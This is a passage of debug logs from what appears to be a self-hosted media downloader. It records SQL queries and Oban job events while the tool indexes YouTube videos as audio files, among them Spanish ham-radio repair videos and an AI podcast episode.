Demora\n16:35 - Reparación salida potencia\n\n\n#reparando #yaesu #radioaficionados #hamradio #diyelectronics #ft2500m #2sc2053 \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA", 1632, false, "BC6iC19uAqU", "https://www.youtube.com/watch?v=BC6iC19uAqU", "/downloads/music/ea3grn/140 - REPARACIÓN YAESU FT2500M QUE NO SE APAGA.m4a", false, 3, ~U[2024-07-04 16:00:14Z]] 22:30:01.029 [debug] QUERY OK source="sources" db=0.5ms idle=155.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:30:01.030 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:30:01.031 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1374] 22:30:01.031 [debug] Current batch of media processed. Will check again in 1000ms 22:30:01.975 [debug] Current batch of media processed. Will check again in 1000ms 22:30:02.031 [debug] Current batch of media processed. Will check again in 1000ms 22:30:02.976 [debug] Current batch of media processed. Will check again in 1000ms 22:30:03.032 [debug] Current batch of media processed. Will check again in 1000ms 22:30:03.977 [debug] Current batch of media processed. Will check again in 1000ms 22:30:04.033 [debug] Current batch of media processed. Will check again in 1000ms 22:30:04.978 [debug] Current batch of media processed. Will check again in 1000ms 22:30:05.034 [debug] Current batch of media processed. Will check again in 1000ms 22:30:05.979 [debug] Current batch of media processed. Will check again in 1000ms 22:30:06.035 [debug] Current batch of media processed. Will check again in 1000ms 22:30:06.980 [debug] Current batch of media processed. Will check again in 1000ms 22:30:07.036 [debug] Current batch of media processed. Will check again in 1000ms 22:30:07.981 [debug] Current batch of media processed. Will check again in 1000ms 22:30:08.037 [debug] Current batch of media processed. Will check again in 1000ms 22:30:08.982 [debug] Current batch of media processed. Will check again in 1000ms 22:30:09.038 [debug] Current batch of media processed. Will check again in 1000ms 22:30:09.983 [debug] Current batch of media processed. Will check again in 1000ms 22:30:10.039 [debug] Current batch of media processed. Will check again in 1000ms 22:30:10.984 [debug] Current batch of media processed. Will check again in 1000ms 22:30:11.040 [debug] Current batch of media processed. Will check again in 1000ms 22:30:11.985 [debug] Current batch of media processed. Will check again in 1000ms 22:30:12.041 [debug] Current batch of media processed. Will check again in 1000ms 22:30:12.986 [debug] Current batch of media processed. Will check again in 1000ms 22:30:13.042 [debug] Current batch of media processed. Will check again in 1000ms 22:30:13.987 [debug] Current batch of media processed. Will check again in 1000ms 22:30:14.043 [debug] Current batch of media processed. Will check again in 1000ms 22:30:14.988 [debug] Current batch of media processed. Will check again in 1000ms 22:30:15.044 [debug] Current batch of media processed. Will check again in 1000ms 22:30:15.989 [debug] Current batch of media processed. Will check again in 1000ms 22:30:16.045 [debug] Current batch of media processed. Will check again in 1000ms 22:30:16.990 [debug] Current batch of media processed. Will check again in 1000ms 22:30:17.046 [debug] Current batch of media processed. Will check again in 1000ms 22:30:17.991 [debug] Current batch of media processed. Will check again in 1000ms 22:30:18.047 [debug] Current batch of media processed. Will check again in 1000ms 22:30:18.992 [debug] Current batch of media processed. Will check again in 1000ms 22:30:19.048 [debug] Current batch of media processed. Will check again in 1000ms 22:30:19.993 [debug] Current batch of media processed. Will check again in 1000ms 22:30:20.049 [debug] Current batch of media processed. Will check again in 1000ms 22:30:20.994 [debug] Current batch of media processed. Will check again in 1000ms 22:30:21.050 [debug] Current batch of media processed. Will check again in 1000ms 22:30:21.209 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:21.995 [debug] Current batch of media processed. Will check again in 1000ms 22:30:22.051 [debug] Current batch of media processed. Will check again in 1000ms 22:30:22.996 [debug] Current batch of media processed. Will check again in 1000ms 22:30:23.052 [debug] Current batch of media processed. Will check again in 1000ms 22:30:23.997 [debug] Current batch of media processed. Will check again in 1000ms 22:30:24.053 [debug] Current batch of media processed. Will check again in 1000ms 22:30:24.998 [debug] Current batch of media processed. Will check again in 1000ms 22:30:25.054 [debug] Current batch of media processed. Will check again in 1000ms 22:30:25.999 [debug] Current batch of media processed. Will check again in 1000ms 22:30:26.055 [debug] Current batch of media processed. Will check again in 1000ms 22:30:27.000 [debug] Current batch of media processed. Will check again in 1000ms 22:30:27.056 [debug] Current batch of media processed. Will check again in 1000ms 22:30:28.001 [debug] Current batch of media processed. Will check again in 1000ms 22:30:28.057 [debug] Current batch of media processed. Will check again in 1000ms 22:30:29.002 [debug] Current batch of media processed. Will check again in 1000ms 22:30:29.058 [debug] Current batch of media processed. Will check again in 1000ms 22:30:30.003 [debug] Current batch of media processed. Will check again in 1000ms 22:30:30.059 [debug] Current batch of media processed. Will check again in 1000ms 22:30:31.004 [debug] Current batch of media processed. Will check again in 1000ms 22:30:31.060 [debug] Current batch of media processed. Will check again in 1000ms 22:30:32.005 [debug] Current batch of media processed. Will check again in 1000ms 22:30:32.061 [debug] Current batch of media processed. Will check again in 1000ms 22:30:33.006 [debug] Current batch of media processed. Will check again in 1000ms 22:30:33.062 [debug] Current batch of media processed. Will check again in 1000ms 22:30:34.007 [debug] Current batch of media processed. Will check again in 1000ms 22:30:34.063 [debug] Current batch of media processed. Will check again in 1000ms 22:30:35.008 [debug] Current batch of media processed. Will check again in 1000ms 22:30:35.064 [debug] Current batch of media processed. Will check again in 1000ms 22:30:36.009 [debug] Current batch of media processed. Will check again in 1000ms 22:30:36.065 [debug] Current batch of media processed. Will check again in 1000ms 22:30:37.010 [debug] Current batch of media processed. Will check again in 1000ms 22:30:37.066 [debug] Current batch of media processed. Will check again in 1000ms 22:30:38.011 [debug] Current batch of media processed. Will check again in 1000ms 22:30:38.067 [debug] Current batch of media processed. Will check again in 1000ms 22:30:39.012 [debug] Current batch of media processed. Will check again in 1000ms 22:30:39.068 [debug] Current batch of media processed. Will check again in 1000ms 22:30:40.013 [debug] Current batch of media processed. Will check again in 1000ms 22:30:40.069 [debug] Current batch of media processed. Will check again in 1000ms 22:30:41.014 [debug] Current batch of media processed. Will check again in 1000ms 22:30:41.070 [debug] Current batch of media processed. Will check again in 1000ms 22:30:42.015 [debug] Current batch of media processed. Will check again in 1000ms 22:30:42.071 [debug] Current batch of media processed. Will check again in 1000ms 22:30:43.016 [debug] Current batch of media processed. Will check again in 1000ms 22:30:43.072 [debug] Current batch of media processed. Will check again in 1000ms 22:30:44.017 [debug] Current batch of media processed. Will check again in 1000ms 22:30:44.073 [debug] Current batch of media processed. Will check again in 1000ms 22:30:45.018 [debug] Current batch of media processed. Will check again in 1000ms 22:30:45.074 [debug] Current batch of media processed. Will check again in 1000ms 22:30:46.019 [debug] Current batch of media processed. Will check again in 1000ms 22:30:46.075 [debug] Current batch of media processed. Will check again in 1000ms 22:30:47.020 [debug] Current batch of media processed. Will check again in 1000ms 22:30:47.076 [debug] Current batch of media processed. Will check again in 1000ms 22:30:48.021 [debug] Current batch of media processed. Will check again in 1000ms 22:30:48.077 [debug] Current batch of media processed. Will check again in 1000ms 22:30:49.022 [debug] Current batch of media processed. Will check again in 1000ms 22:30:49.078 [debug] Current batch of media processed. Will check again in 1000ms 22:30:50.023 [debug] Current batch of media processed. Will check again in 1000ms 22:30:50.079 [debug] Current batch of media processed. Will check again in 1000ms 22:30:51.024 [debug] Current batch of media processed. Will check again in 1000ms 22:30:51.080 [debug] Current batch of media processed. Will check again in 1000ms 22:30:51.211 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:52.025 [debug] Current batch of media processed. Will check again in 1000ms 22:30:52.081 [debug] Current batch of media processed. Will check again in 1000ms 22:30:53.026 [debug] Current batch of media processed. Will check again in 1000ms 22:30:53.082 [debug] Current batch of media processed. Will check again in 1000ms 22:30:54.027 [debug] Current batch of media processed. Will check again in 1000ms 22:30:54.083 [debug] Current batch of media processed. Will check again in 1000ms 22:30:55.028 [debug] Current batch of media processed. Will check again in 1000ms 22:30:55.084 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "He estado probando una bomba desoldadora que, pese a tener algunos problemas, la verdad es que me ha sorprendido su funcionamiento. Os paso este video para que quien no la conozca pueda verla.\n\nYo la he adquirido aqui:\n\nhttps://www.amazon.es/dp/B09GBFFZH9 (falló a los 10 minutos de usarla, la devolví)\nhttps://www.amazon.es/dp/B0BXS9FF6W (esta es la que sale en el video y estoy usando).\n\nPor aliexpress tambien la hay, algo mas económica, pero tras los problemas que tuve.... cada uno sabrá donde la compra!\n\n#desoldador #diyelectronics #radioaficionados #hamradio #soldador \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1169, "filename" => "/downloads/music/ea3grn/139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN.m4a", "id" => "SME8kVyex7Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SME8kVyex7Q", "playlist_index" => 42, "timestamp" => 1715270420, "title" => "139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN", "upload_date" => "20240509"} 22:30:55.085 [debug] QUERY OK source="sources" db=0.5ms idle=324.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:30:55.086 [debug] QUERY OK source="sources" db=0.4ms idle=325.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:30:55.087 [debug] QUERY OK source="media_items" db=0.7ms idle=325.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-09 16:00:20Z], 3] 22:30:55.088 [debug] QUERY OK source="media_items" db=1.2ms idle=326.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["He estado probando una bomba desoldadora que, pese a tener algunos problemas, la verdad es que me ha sorprendido su funcionamiento. Os paso este video para que quien no la conozca pueda verla.\n\nYo la he adquirido aqui:\n\nhttps://www.amazon.es/dp/B09GBFFZH9 (falló a los 10 minutos de usarla, la devolví)\nhttps://www.amazon.es/dp/B0BXS9FF6W (esta es la que sale en el video y estoy usando).\n\nPor aliexpress tambien la hay, algo mas económica, pero tras los problemas que tuve.... cada uno sabrá donde la compra!\n\n#desoldador #diyelectronics #radioaficionados #hamradio #soldador \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN", "e5c12db0-fe66-43f8-9205-bc06734b9ecb", 1169, false, "SME8kVyex7Q", "https://www.youtube.com/watch?v=SME8kVyex7Q", 42, "/downloads/music/ea3grn/139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN.m4a", false, false, false, 3, [], 98, ~U[2024-05-09 16:00:20Z], ~U[2026-02-07 21:30:55Z], ~U[2026-02-07 21:30:55Z], "He estado probando una bomba desoldadora que, pese a tener algunos problemas, la verdad es que me ha sorprendido su funcionamiento. Os paso este video para que quien no la conozca pueda verla.\n\nYo la he adquirido aqui:\n\nhttps://www.amazon.es/dp/B09GBFFZH9 (falló a los 10 minutos de usarla, la devolví)\nhttps://www.amazon.es/dp/B0BXS9FF6W (esta es la que sale en el video y estoy usando).\n\nPor aliexpress tambien la hay, algo mas económica, pero tras los problemas que tuve.... cada uno sabrá donde la compra!\n\n#desoldador #diyelectronics #radioaficionados #hamradio #soldador \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN", 1169, false, "SME8kVyex7Q", "https://www.youtube.com/watch?v=SME8kVyex7Q", "/downloads/music/ea3grn/139 - UNA BOMBA SOLDADORA QUE FUNCIONA BIEN.m4a", false, 3, ~U[2024-05-09 16:00:20Z]] 22:30:55.089 [debug] QUERY OK source="sources" db=0.4ms idle=110.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:30:55.090 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:30:55.090 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1377] 22:30:55.091 [debug] Current batch of media processed. Will check again in 1000ms 22:30:56.029 [debug] Current batch of media processed. Will check again in 1000ms 22:30:56.091 [debug] Current batch of media processed. Will check again in 1000ms 22:30:57.030 [debug] Current batch of media processed. Will check again in 1000ms 22:30:57.092 [debug] Current batch of media processed. Will check again in 1000ms 22:30:58.031 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 965, "filename" => "/downloads/music/IA mí QUÉ/EP.10: Nuevas funcionalidades de ChatGPT.m4a", "id" => "moGcPLXH9zs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=moGcPLXH9zs", "playlist_index" => 40, "timestamp" => 1746767154, "title" => "EP.10: Nuevas funcionalidades de ChatGPT", "upload_date" => "20250509"} 22:30:58.032 [debug] QUERY OK source="sources" db=0.5ms idle=1271.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:30:58.033 [debug] QUERY OK source="sources" db=0.4ms idle=1271.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:30:58.034 [debug] QUERY OK source="media_items" db=0.6ms idle=1272.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 05:05:54Z], 2] 22:30:58.035 [debug] QUERY OK source="media_items" db=0.7ms idle=1052.3ms INSERT INTO "media_items" AS m0 ("title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["EP.10: Nuevas funcionalidades de ChatGPT", "df624ba4-af76-42d5-9d21-445a5f4fa24d", 965, false, "moGcPLXH9zs", "https://www.youtube.com/watch?v=moGcPLXH9zs", 40, "/downloads/music/IA mí QUÉ/EP.10: Nuevas funcionalidades de ChatGPT.m4a", false, false, false, 2, [], 91, ~U[2025-05-09 05:05:54Z], ~U[2026-02-07 21:30:58Z], ~U[2026-02-07 21:30:58Z], "", "EP.10: Nuevas funcionalidades de ChatGPT", 965, false, "moGcPLXH9zs", "https://www.youtube.com/watch?v=moGcPLXH9zs", "/downloads/music/IA mí QUÉ/EP.10: Nuevas funcionalidades de ChatGPT.m4a", false, 2, ~U[2025-05-09 05:05:54Z]] 22:30:58.035 [debug] QUERY OK source="sources" db=0.4ms idle=51.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:30:58.036 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:30:58.037 [debug] QUERY OK source="media_items" db=0.5ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1346] 22:30:58.037 [debug] Current batch of media processed. Will check again in 1000ms 22:30:58.093 [debug] Current batch of media processed. Will check again in 1000ms 22:30:59.038 [debug] Current batch of media processed. Will check again in 1000ms 22:30:59.094 [debug] Current batch of media processed. Will check again in 1000ms 22:31:00.039 [debug] Current batch of media processed. Will check again in 1000ms 22:31:00.095 [debug] Current batch of media processed. Will check again in 1000ms 22:31:00.107 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:01.040 [debug] Current batch of media processed. Will check again in 1000ms 22:31:01.096 [debug] Current batch of media processed. Will check again in 1000ms 22:31:02.041 [debug] Current batch of media processed. Will check again in 1000ms 22:31:02.097 [debug] Current batch of media processed. Will check again in 1000ms 22:31:03.042 [debug] Current batch of media processed. Will check again in 1000ms 22:31:03.098 [debug] Current batch of media processed. Will check again in 1000ms 22:31:04.043 [debug] Current batch of media processed. Will check again in 1000ms 22:31:04.099 [debug] Current batch of media processed. Will check again in 1000ms 22:31:05.044 [debug] Current batch of media processed. Will check again in 1000ms 22:31:05.100 [debug] Current batch of media processed. Will check again in 1000ms 22:31:06.045 [debug] Current batch of media processed. Will check again in 1000ms 22:31:06.101 [debug] Current batch of media processed. Will check again in 1000ms 22:31:07.046 [debug] Current batch of media processed. Will check again in 1000ms 22:31:07.102 [debug] Current batch of media processed. Will check again in 1000ms 22:31:08.047 [debug] Current batch of media processed. Will check again in 1000ms 22:31:08.103 [debug] Current batch of media processed. Will check again in 1000ms 22:31:09.048 [debug] Current batch of media processed. Will check again in 1000ms 22:31:09.104 [debug] Current batch of media processed. Will check again in 1000ms 22:31:10.049 [debug] Current batch of media processed. Will check again in 1000ms 22:31:10.105 [debug] Current batch of media processed. Will check again in 1000ms 22:31:11.050 [debug] Current batch of media processed. Will check again in 1000ms 22:31:11.106 [debug] Current batch of media processed. Will check again in 1000ms 22:31:12.051 [debug] Current batch of media processed. Will check again in 1000ms 22:31:12.107 [debug] Current batch of media processed. Will check again in 1000ms 22:31:13.052 [debug] Current batch of media processed. Will check again in 1000ms 22:31:13.108 [debug] Current batch of media processed. Will check again in 1000ms 22:31:14.053 [debug] Current batch of media processed. Will check again in 1000ms 22:31:14.109 [debug] Current batch of media processed. Will check again in 1000ms 22:31:15.054 [debug] Current batch of media processed. Will check again in 1000ms 22:31:15.110 [debug] Current batch of media processed. Will check again in 1000ms 22:31:16.055 [debug] Current batch of media processed. Will check again in 1000ms 22:31:16.111 [debug] Current batch of media processed. Will check again in 1000ms 22:31:17.056 [debug] Current batch of media processed. Will check again in 1000ms 22:31:17.112 [debug] Current batch of media processed. Will check again in 1000ms 22:31:18.057 [debug] Current batch of media processed. Will check again in 1000ms 22:31:18.113 [debug] Current batch of media processed. Will check again in 1000ms 22:31:19.058 [debug] Current batch of media processed. Will check again in 1000ms 22:31:19.114 [debug] Current batch of media processed. Will check again in 1000ms 22:31:20.059 [debug] Current batch of media processed. Will check again in 1000ms 22:31:20.115 [debug] Current batch of media processed. Will check again in 1000ms 22:31:21.060 [debug] Current batch of media processed. Will check again in 1000ms 22:31:21.116 [debug] Current batch of media processed. Will check again in 1000ms 22:31:21.213 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:22.061 [debug] Current batch of media processed. Will check again in 1000ms 22:31:22.117 [debug] Current batch of media processed. Will check again in 1000ms 22:31:23.062 [debug] Current batch of media processed. Will check again in 1000ms 22:31:23.118 [debug] Current batch of media processed. Will check again in 1000ms 22:31:24.063 [debug] Current batch of media processed. Will check again in 1000ms 22:31:24.119 [debug] Current batch of media processed. Will check again in 1000ms 22:31:25.064 [debug] Current batch of media processed. Will check again in 1000ms 22:31:25.120 [debug] Current batch of media processed. Will check again in 1000ms 22:31:26.065 [debug] Current batch of media processed. Will check again in 1000ms 22:31:26.121 [debug] Current batch of media processed. Will check again in 1000ms 22:31:27.066 [debug] Current batch of media processed. Will check again in 1000ms 22:31:27.122 [debug] Current batch of media processed. Will check again in 1000ms 22:31:28.067 [debug] Current batch of media processed. Will check again in 1000ms 22:31:28.123 [debug] Current batch of media processed. Will check again in 1000ms 22:31:29.068 [debug] Current batch of media processed. Will check again in 1000ms 22:31:29.124 [debug] Current batch of media processed. Will check again in 1000ms 22:31:30.069 [debug] Current batch of media processed. Will check again in 1000ms 22:31:30.125 [debug] Current batch of media processed. Will check again in 1000ms 22:31:31.070 [debug] Current batch of media processed. Will check again in 1000ms 22:31:31.126 [debug] Current batch of media processed. Will check again in 1000ms 22:31:32.071 [debug] Current batch of media processed. Will check again in 1000ms 22:31:32.127 [debug] Current batch of media processed. Will check again in 1000ms 22:31:33.072 